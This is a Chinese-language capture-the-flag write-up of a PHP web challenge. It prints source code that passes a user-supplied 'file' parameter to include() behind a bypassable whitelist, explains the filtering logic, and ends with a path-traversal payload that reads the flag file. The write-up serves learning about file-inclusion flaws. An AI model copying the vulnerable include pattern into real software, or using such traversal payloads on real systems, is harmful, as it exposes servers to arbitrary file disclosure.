一、题目
滑稽.jpg
看看源代码
发现注释中有提示页面
source.php
访问后得到源码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
二、解题
1. 代码上面一块是checkFile()函数,检测传入的$file在一系列过滤后是否在白名单里
下面一块是传入$file的条件
! empty($_REQUEST['file'])要求$file不为空
is_string($_REQUEST['file'])要求$file为字符串
emmm::checkFile($_REQUEST['file'])将$file作为checkFile()的参数进行检测
三个条件必须全为真,否则回显滑稽.jpg
2. checkFile()中用的几个函数如下:
mb_strpos()
in_array()
mb_substr()
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
第一次对$_page处理,内层函数返回$page中 '?'出现的首个位置
外层函数则截取从0至 '?'出现的首个位置,即对$page中的 '?'做了一次过滤
再往下看,整个checkfile()一共进行了两次过滤,三次白名单检测以及一次url解码
3. 进入源码中的hint.php查看:
ffffllllaaaagggg???????
只能联想到是重复4次的操作
目录向上翻四次吧......
构造payload:
http://....../index.php?file=hint.php?/../../../../ffffllllaaaagggg
拿到flag
三、总结
就最后ffffllllaaaagggg那里有点费解,看了下别人的题解也不知道有啥依据
希望下次别碰到这种